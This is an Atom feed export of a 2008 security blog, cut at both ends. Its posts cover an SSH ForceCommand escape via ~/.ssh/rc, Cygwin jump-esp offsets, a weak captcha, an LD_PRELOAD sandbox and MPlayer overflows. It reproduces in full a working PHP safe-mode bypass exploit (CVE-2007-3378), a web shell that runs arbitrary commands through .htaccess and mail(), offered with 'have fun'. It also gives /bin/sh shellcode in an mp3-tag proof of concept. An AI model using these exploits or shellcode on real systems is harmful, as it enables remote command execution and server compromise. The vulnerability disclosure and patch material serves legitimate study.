src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-1325317850560311325</id><published>2008-04-07T07:57:00.004+02:00</published><updated>2008-04-07T08:33:10.692+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ssh security flaw'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh flaw'/><category scheme='http://www.blogger.com/atom/ns#' term='ForceCommand'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh command execution'/><title type='text'>SSH ForceCommand security flaw</title><content type='html'>ForceCommand is a sshd_config option that lets use the remote ssh to execute a restricted commands, for example vi somefile.&lt;br /&gt;&lt;br /&gt;When a SSH session is started the ~/.ssh/rc shell script is executed, the user logged by ssh, has permissions to write into his own rc.&lt;br /&gt;&lt;br /&gt;Then if we are allowed to make a vi somefile, we can write into ~/.ssh/rc and write a /bin/bash that will be spawned the next time we enter to the system.&lt;br /&gt; &lt;br /&gt;The patch only lets the rc execution when ForceCommand is not enabled (options.adm_forced_command == NULL)&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;+++ usr.bin/ssh/session.c 27 Mar 2008 10:54:55 -0000&lt;br /&gt;@@ -878,8 +878,9 @@&lt;br /&gt;  do_xauth =&lt;br /&gt;      s-&gt;display != NULL &amp;&amp; s-&gt;auth_proto != NULL &amp;&amp; s-&gt;auth_data != NULL;&lt;br /&gt; &lt;br /&gt;- /* ignore _PATH_SSH_USER_RC for subsystems */&lt;br /&gt;- if (!s-&gt;is_subsystem &amp;&amp; (stat(_PATH_SSH_USER_RC, &amp;st) &gt;= 0)) {&lt;br /&gt;+ /* ignore _PATH_SSH_USER_RC for subsystems and admin forced commands */&lt;br /&gt;+ if (!s-&gt;is_subsystem &amp;&amp; options.adm_forced_command == NULL &amp;&amp;&lt;br /&gt;+     (stat(_PATH_SSH_USER_RC, &amp;st) &gt;= 0)) {&lt;br /&gt;   snprintf(cmd, sizeof cmd, "%s -c '%s %s'",&lt;br /&gt;       shell, _PATH_BSHELL, _PATH_SSH_USER_RC);&lt;br /&gt;   if (debug_flag)&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-1325317850560311325?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/1325317850560311325/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=1325317850560311325' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1325317850560311325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1325317850560311325'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/04/ssh-forcecommand-security-flaw.html' title='SSH ForceCommand security flaw'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-1799755500969143760</id><published>2008-03-19T11:50:00.006+01:00</published><updated>2008-03-19T12:46:08.674+01:00</updated><title type='text'>cygwin security</title><content type='html'>On November 2007 I have reported to cygwin developers a very important security flaw at cygwin subsistem, that can be exploited remotelly via SSH, HTTP, or almost any kind of daemon runing under cygwin.&lt;br /&gt;&lt;br /&gt;&lt;a href='http://securityvulns.com/Sdocument495.html'&gt;jolmos cygwin Advisory&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;vade79/v9 has released a &lt;a href='http://www.milw0rm.com/exploits/3913'&gt;nice exploit&lt;/a&gt; for webdespoxy software, with cygwin the explotation is more efective because all cygwin processes have linked the cygwin1.dll kernel, then we have some universal offsets like:&lt;br /&gt;&lt;br /&gt;0x61048690 push esp - ret    &lt;br /&gt;0x6104936D jmp esp     &lt;br /&gt;0x6112C494 push esp - ret  &lt;br /&gt;&lt;br /&gt;I don't recomend to use cygwin to opening services to the net.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-1799755500969143760?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/1799755500969143760/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=1799755500969143760' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1799755500969143760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1799755500969143760'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/03/cygwin-security.html' title='cygwin security'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-569958277527872623</id><published>2008-02-28T17:54:00.009+01:00</published><updated>2008-03-11T05:16:01.270+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='captcha'/><category scheme='http://www.blogger.com/atom/ns#' term='antiautomatization'/><category scheme='http://www.blogger.com/atom/ns#' term='anti'/><category scheme='http://www.blogger.com/atom/ns#' term='bot'/><category scheme='http://www.blogger.com/atom/ns#' term='automatization'/><category scheme='http://www.blogger.com/atom/ns#' term='system'/><category scheme='http://www.blogger.com/atom/ns#' term='opera'/><title type='text'>Opera Blogs antiautomatization system</title><content type='html'>Today I have reported to opera.com that they are using a weak/useless anti-automatization-system, well we can make a simple bot that creates hundreds of blogs :)&lt;br /&gt;&lt;br /&gt;Look their anti-automatization "captcha":&lt;br /&gt;&lt;br /&gt;http://my.opera.com/community/signup/&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_YDjJDsk93g0/R8boxTQOdkI/AAAAAAAAAC4/UWAIxJSO1vQ/s1600-h/opera.png"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_YDjJDsk93g0/R8boxTQOdkI/AAAAAAAAAC4/UWAIxJSO1vQ/s320/opera.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5172077155761157698" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;well, text security code so easy to collect.&lt;br /&gt;More info at:&lt;br /&gt;http://www.captcha.net/&lt;br /&gt;&lt;br /&gt;cya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-569958277527872623?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/569958277527872623/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=569958277527872623' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/569958277527872623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/569958277527872623'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/02/opera-blogs-antiautomatization-system.html' title='Opera Blogs antiautomatization system'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_YDjJDsk93g0/R8boxTQOdkI/AAAAAAAAAC4/UWAIxJSO1vQ/s72-c/opera.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-2304956952973137538</id><published>2008-02-27T13:57:00.004+01:00</published><updated>2008-02-27T14:17:25.978+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sandwich'/><category scheme='http://www.blogger.com/atom/ns#' term='sandbox'/><category scheme='http://www.blogger.com/atom/ns#' term='sand'/><category scheme='http://www.blogger.com/atom/ns#' term='protection'/><category scheme='http://www.blogger.com/atom/ns#' term='test'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>How to make a sandbox</title><content type='html'>A real sandbox should be a loadable kernel module, but we can easilly make one at user space by coding a lib in order to be preloaded after every execution.&lt;br /&gt;&lt;br /&gt;gcc -fPIC sandwich.c -o sandwich.so -shared&lt;br /&gt;export LD_PRELOAD=`pwd`/sandwich.so&lt;br /&gt;&lt;br /&gt;now connect() and sento() are hooked, then we can exec our "unsafe" programs, &lt;br /&gt;if they try to connect will be intercepted.&lt;br /&gt;&lt;br /&gt;Well, this can be bypassed by calling directly the syscall or using not implemented functions.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;// $ gcc -fPIC sandwich.c -o sandwich.so -shared&lt;br /&gt;#define RTLD_NEXT ((void *) -1l)&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;dlfcn.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;strings.h&amp;gt;&lt;br /&gt;#include &amp;lt;netdb.h&amp;gt;&lt;br /&gt;#include &amp;lt;netinet/ip.h&amp;gt;&lt;br /&gt;#include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;//Real Calls&lt;br /&gt;static int (*realConnect)(int sockfd, &lt;br /&gt;             const struct sockaddr *serv_addr, &lt;br /&gt;             socklen_t addrlen);&lt;br /&gt;ssize_t  (*realSendto)(int  s,  &lt;br /&gt;                       const  void  *msg,  &lt;br /&gt;                       size_t  len,  &lt;br /&gt;                       int flags, &lt;br /&gt;                       const struct sockaddr *to,&lt;br /&gt;                       socklen_t tolen);&lt;br /&gt;//Hooked Calls&lt;br /&gt;int connect(int sockfd, &lt;br /&gt;            const struct sockaddr *serv_addr, &lt;br /&gt;            socklen_t addrlen);&lt;br /&gt;ssize_t  sendto(int  s,  &lt;br /&gt;                const  void  *msg,  &lt;br /&gt;                size_t  len,  &lt;br /&gt;                int flags, &lt;br /&gt;                const struct sockaddr *to,&lt;br /&gt;                socklen_t tolen);&lt;br /&gt;&lt;br /&gt;int connect(int sockfd, &lt;br /&gt;            const struct sockaddr *serv_addr, &lt;br /&gt;            socklen_t addrlen) {&lt;br /&gt;        int opt;&lt;br /&gt;        struct sockaddr_in *s = (struct sockaddr_in *)serv_addr;&lt;br /&gt;&lt;br /&gt;        printf("Can I connect to %s:%d (Y/N)?",&lt;br /&gt;               inet_ntoa(s-&gt;sin_addr),s-&gt;sin_port);&lt;br /&gt;        opt = getchar();&lt;br /&gt;        if (opt=='S' || opt=='s' || opt=='y' || opt=='Y') {&lt;br /&gt;                realConnect = dlsym(RTLD_NEXT, "connect");&lt;br /&gt;                return realConnect(sockfd,serv_addr,addrlen);&lt;br /&gt;&lt;br /&gt;        } else {&lt;br /&gt;                printf("Cancelled ;)\n");&lt;br /&gt;                return -1;&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ssize_t  sendto(int  s,  &lt;br /&gt;                const  void  *msg,  &lt;br /&gt;                size_t  len,  &lt;br /&gt;                int flags, &lt;br /&gt;                const struct sockaddr *to,&lt;br /&gt;                socklen_t tolen) {&lt;br /&gt;        int opt;&lt;br /&gt;        struct sockaddr_in *ss = (struct sockaddr_in *)to;&lt;br /&gt;&lt;br /&gt;        printf("Can I connect to %s:%d (Y/N)?",inet_ntoa(ss-&gt;sin_addr),ss-&gt;sin_port);&lt;br /&gt;        opt = getchar();&lt;br /&gt;        if (opt=='S' || opt=='s' || opt=='y' || opt=='Y') {&lt;br /&gt;                realSendto = dlsym(RTLD_NEXT, "sendto");&lt;br /&gt;                return realSendto(s,msg,len,flags,to,tolen);&lt;br /&gt;&lt;br /&gt;        } else {&lt;br /&gt;                printf("Cancelled ;)\n");&lt;br /&gt;                return -1;&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-2304956952973137538?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/2304956952973137538/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=2304956952973137538' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/2304956952973137538'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/2304956952973137538'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/02/how-to-make-sandbox.html' title='How to make a sandbox'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-5788342542913232124</id><published>2008-02-26T23:32:00.007+01:00</published><updated>2008-02-27T14:18:17.818+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2007-3378'/><category scheme='http://www.blogger.com/atom/ns#' term='bypass'/><category scheme='http://www.blogger.com/atom/ns#' term='php hack'/><category scheme='http://www.blogger.com/atom/ns#' term='php bypass'/><category scheme='http://www.blogger.com/atom/ns#' term='safemode bypass'/><category scheme='http://www.blogger.com/atom/ns#' term='safemode'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>PHP SafeMode bypass (CVE-2007-3378)</title><content type='html'>Every week a new way to bypass php-safemode is released, it seemed funny, but this open_basedir Bypass is Scandalous.&lt;br /&gt;&lt;br /&gt;If you try to exec some restricted call, safemode will stop-it.&lt;br /&gt;Other way is to use php_value directive of .htaccess files (if httpd.conf is configured to allow httaccess)&lt;br /&gt;&lt;br /&gt;So, you can break the safemode restrictions by adding php_value orders like that:&lt;br /&gt;&lt;br /&gt;php_value  include_path         "some" &lt;br /&gt;php_flag   display_errors       On&lt;br /&gt;php_value  upload_max_filesize  200M&lt;br /&gt;&lt;br /&gt;for example:&lt;br /&gt;&lt;br /&gt;echo php_value session.save_path /inne &gt; .htaccess&lt;br /&gt;session_start();&lt;br /&gt;&lt;br /&gt;Exploit code:&lt;pre&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;# SecurityReason&lt;br /&gt;# Coded by Maksymilian Arciemowicz&lt;br /&gt;# (C) Copyright SecurityReason&lt;br /&gt;# Affected Software : PHP 5.2.3 and prior&lt;br /&gt;# Usage :&lt;br /&gt;# ?cxib=dhr - Delete Delete .htaccess and result.txt&lt;br /&gt;# ?sh=[our_command] - Execute the command&lt;br /&gt;#&lt;br /&gt;#variables&lt;br /&gt;$htaccess="./.htaccess";&lt;br /&gt;#variables&lt;br /&gt;if(@mail("", "", "")==FALSE){&lt;br /&gt;die("mail() function isn't active.");&lt;br /&gt;}&lt;br /&gt;if(!is_writable("./")){&lt;br /&gt;die("This directory isn't writable.");&lt;br /&gt;}&lt;br /&gt;if($_GET['cxib']=="dhr"){&lt;br /&gt;@unlink("./.htaccess");&lt;br /&gt;@unlink("./result.txt");&lt;br /&gt;}&lt;br /&gt;$usun="";&lt;br /&gt;if(file_exists("./result.txt") AND&lt;br /&gt;file_exists("./.htaccess")){&lt;br /&gt;$usun .= "&amp;lt;p&amp;gt;&amp;lt;a&lt;br /&gt;href=\"http://".$_SERVER["HTTP_HOST"]. &lt;br /&gt;$_SERVER["SCRIPT_NAME"]."?cxib=dhr\"&amp;gt;Delet&lt;br /&gt;e .htaccess and result.txt&amp;lt;/a&amp;gt;";&lt;br /&gt;}&lt;br /&gt;$htmlstart="&amp;lt;HTML&amp;gt;&lt;br /&gt;&amp;lt;HEAD&amp;gt;&lt;br /&gt;&amp;lt;TITLE&amp;gt;SecurityReason Exploit - PHP 5.2.3 and&lt;br /&gt;prior&amp;lt;/TITLE&amp;gt;&lt;br /&gt;&amp;lt;/HEAD&amp;gt;&lt;br /&gt;&amp;lt;BODY&amp;gt;";&lt;br /&gt;$formtxt="&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;Security&amp;lt;b&amp;gt;&amp;lt;font&lt;br /&gt;color=RED&amp;gt;R&amp;lt;/font&amp;gt;eason&amp;lt;/b&amp;gt;&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Exp&lt;br /&gt;loit for PHP 5.2.3 and&lt;br /&gt;prior&amp;lt;/p&amp;gt;&amp;lt;B&amp;gt;&amp;lt;CENTER&amp;gt;&amp;lt;FONT&lt;br /&gt;COLOR=\"RED\"&amp;gt;C&amp;lt;/FONT&amp;gt;oded by&lt;br /&gt;&amp;lt;b&amp;gt;Maksymilian Arciemowicz&amp;lt;/b&amp;gt;&lt;br /&gt;".$usun."&lt;br /&gt;&amp;lt;p&amp;gt;Form:&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;form&lt;br /&gt;action=\"http://".$_SERVER["HTTP_HOST"].$_SER&lt;br /&gt;VER["SCRIPT_NAME"]."\"&lt;br /&gt;name=\"Form\" method=\"POST\"&amp;gt;&lt;br /&gt;sh# &amp;lt;input type=\"text\" name=\"sh\"&lt;br /&gt;size=\"50\" value=\"\"&amp;gt;&lt;br /&gt;&amp;lt;input type=\"submit\" name=\"sent\"&lt;br /&gt;value=\"Exec\"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/CENTER&amp;gt;&amp;lt;/B&amp;gt;";&lt;br /&gt;$htmlend="&amp;lt;/BODY&amp;gt;&lt;br /&gt;&amp;lt;/HTML&amp;gt;";&lt;br /&gt;$path=dirname($_SERVER["SCRIPT_NAME"]);&lt;br /&gt;if(empty($sh)){&lt;br /&gt;if(empty($_GET['sh'])){&lt;br /&gt;if(empty($_POST['sh'])){&lt;br /&gt;echo $htmlstart.$formtxt;&lt;br /&gt;if(file_exists("./result.txt")){&lt;br /&gt;echo "&amp;lt;center&amp;gt;&amp;lt;iframe&lt;br /&gt;src=\"http://".$_SERVER["HTTP_HOST"].&lt;br /&gt;$path."/result.txt\" height=300&lt;br /&gt;width=1000&amp;gt;&amp;lt;/center&amp;gt;";&lt;br /&gt;}&lt;br /&gt;echo $htmlend;&lt;br /&gt;exit();&lt;br /&gt;} else {&lt;br /&gt;$sh=$_POST['sh'];&lt;br /&gt;}&lt;br /&gt;} else {&lt;br /&gt;$sh=$_GET['sh'];&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if (!$handle = @fopen($htaccess, 'w')) {&lt;br /&gt;echo "Cannot create&lt;br /&gt;".$htaccess."&amp;lt;B&amp;gt;check your rights to this&lt;br /&gt;directory.&amp;lt;P&amp;gt;. exit();";&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;$syntax="php_value mail.force_extra_parameters '-t&lt;br /&gt;&amp;&amp; ".$sh." &amp;gt;&lt;br /&gt;".dirname(__FILE__)."/result.txt'";&lt;br /&gt;if (fwrite($handle, $syntax) === FALSE) {&lt;br /&gt;echo "Cannot write to file&lt;br /&gt;(".$htaccess.")";&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;if(!empty($_POST['sent'])){&lt;br /&gt;@mail("", "", "Yeah");&lt;br /&gt;sleep(2);&lt;br /&gt;header("Location:&lt;br /&gt;http://".$_SERVER["HTTP_HOST"].&lt;br /&gt;$_SERVER["REQUEST_URI"]."?cxib=".date('s'));&lt;br /&gt;exit();&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;have fun.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-5788342542913232124?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/5788342542913232124/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=5788342542913232124' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/5788342542913232124'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/5788342542913232124'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/02/php-safemode-bypass-cve-2007-3378.html' title='PHP SafeMode bypass (CVE-2007-3378)'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-8924410019416208928</id><published>2008-02-22T12:54:00.003+01:00</published><updated>2008-02-27T14:20:35.300+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='adsense bypass'/><category scheme='http://www.blogger.com/atom/ns#' term='adsense hack'/><category scheme='http://www.blogger.com/atom/ns#' term='adsense'/><category scheme='http://www.blogger.com/atom/ns#' term='google adsense'/><category scheme='http://www.blogger.com/atom/ns#' term='adsense dangers'/><title type='text'>Google Adsense is not a serious option</title><content type='html'>If you are thinking to put a GoogleAdsense, you must know some thinks about them:&lt;br /&gt;&lt;br /&gt;If somebody attack your adsenses:&lt;br /&gt;1. Google will close your account&lt;br /&gt;2. Google will take money from your bank account!! They say "We will get the money you have earned"&lt;br /&gt;&lt;br /&gt;Well, I suggest avoid google adsense.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-8924410019416208928?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/8924410019416208928/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=8924410019416208928' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/8924410019416208928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/8924410019416208928'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/02/google-adsense-is-not-serious-option.html' title='Google Adsense is not a serious option'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-758026840323547608</id><published>2008-02-13T12:25:00.012+01:00</published><updated>2008-02-15T15:08:04.452+01:00</updated><title type='text'>MPlayer Security</title><content type='html'>MPlayer started 2008 the wrong way, 3 dangerous security flaws has been reported.&lt;br /&gt;&lt;br /&gt;* CVE-2008-0486 Stack overflow line 229 demux_audio.c&lt;br /&gt;  Attack Vector: .mov file header&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;  ptr += 4;&lt;br /&gt;  comment = ptr;&lt;br /&gt;+ if (&amp;comment[length] &lt; comments || &lt;br /&gt;      &amp;comment[length] &gt;= &amp;comments[blk_len])&lt;br /&gt;+     return;&lt;br /&gt;  c = comment[length];&lt;br /&gt;  comment[length] = 0;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;* CVE-2008-0629 Overflow stream/g&lt;br /&gt;  Attack Vector: Album title&lt;br /&gt;&lt;pre&gt;&lt;br /&gt; strncpy(album_title, ptr, len);&lt;br /&gt; album_title[len-2]='\0';&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt; The -2 is wrong.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* CVE-2008-0630 Overflow url.c&lt;br /&gt;  Attack Vector: Long url will avoid the final \0&lt;br /&gt;&lt;br /&gt;The most dangerous scenario is to publish a mp3 with a crafted album name, who listen this mp3 by cddp://  will be infected or reverse-shelled, then with the vmsplice exploit remote root will be &lt;br /&gt;&lt;br /&gt;Recommendation: Always the same always, keep your software uptdated and audited!&lt;br /&gt;&lt;br /&gt;I'm doing the POC:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/mman.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;&lt;br /&gt;char sha0code[] =&lt;br /&gt;        "\xeb\x16\x5b\x31\xc0"&lt;br /&gt;        "\x50\x53\xb0\x0b\x89"&lt;br /&gt;        "\xdb\x89\xe1\x31\xd2"&lt;br /&gt;        "\xcd\x80\x31\xc0\x40"&lt;br /&gt;        "\x31\xdb\xcd\x80\xe8"&lt;br /&gt;        "\xe5\xff\xff\xff\x2f"&lt;br /&gt;        "\x62\x69\x6e\x2f\x73\x68";&lt;br /&gt;&lt;br /&gt;int checkIdent(char *ptr) {&lt;br /&gt;        if (ptr[0] == 'T'  &amp;&amp;&lt;br /&gt;            ptr[1] == 'A'  &amp;&amp;&lt;br /&gt;            ptr[2] == 'G')&lt;br /&gt;                return -1;&lt;br /&gt;        else&lt;br /&gt;                return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main (int argc, char **argv) {&lt;br /&gt;        char *mp3file;&lt;br /&gt;        int fd;&lt;br /&gt;        int bytes;&lt;br /&gt;        int i;&lt;br /&gt;        unsigned long map;&lt;br /&gt;        char *tag;&lt;br /&gt;        char *album;&lt;br /&gt;&lt;br /&gt;        if (argc != 2) {&lt;br /&gt;                printf("USAGE: %s FileToInjectTheExploit.mp3\n",argv[0]);&lt;br /&gt;                return 0;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        //map mp3 to memory&lt;br /&gt;        fd = open(argv[1],O_RDWR);&lt;br /&gt;        bytes = lseek(fd,0,SEEK_END);&lt;br /&gt;        mp3file = (char *)malloc(bytes);&lt;br /&gt;      lseek(fd,0,SEEK_SET);&lt;br /&gt;        bytes = read(fd,mp3file,bytes);&lt;br /&gt;&lt;br /&gt;        //look for mp3 tag structure&lt;br /&gt;        for (i=bytes; i&gt;100; i--) {&lt;br /&gt;                if (checkIdent(i+mp3file)) {&lt;br /&gt;                        album = mp3file+i+3+30+30;&lt;br /&gt;                        break;&lt;br /&gt;                }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        //inject the evil string&lt;br /&gt;        printf("Album:%s\n",album);&lt;br /&gt;        memset(album,0x41,90);&lt;br /&gt;&lt;br /&gt;        //write changes&lt;br /&gt;        lseek(fd,0,SEEK_SET);&lt;br /&gt;        write(fd,mp3file,bytes);&lt;br /&gt;        close(fd);&lt;br /&gt;        free(mp3file);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-758026840323547608?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/758026840323547608/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=758026840323547608' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/758026840323547608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/758026840323547608'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/02/mplayer-security.html' title='MPlayer 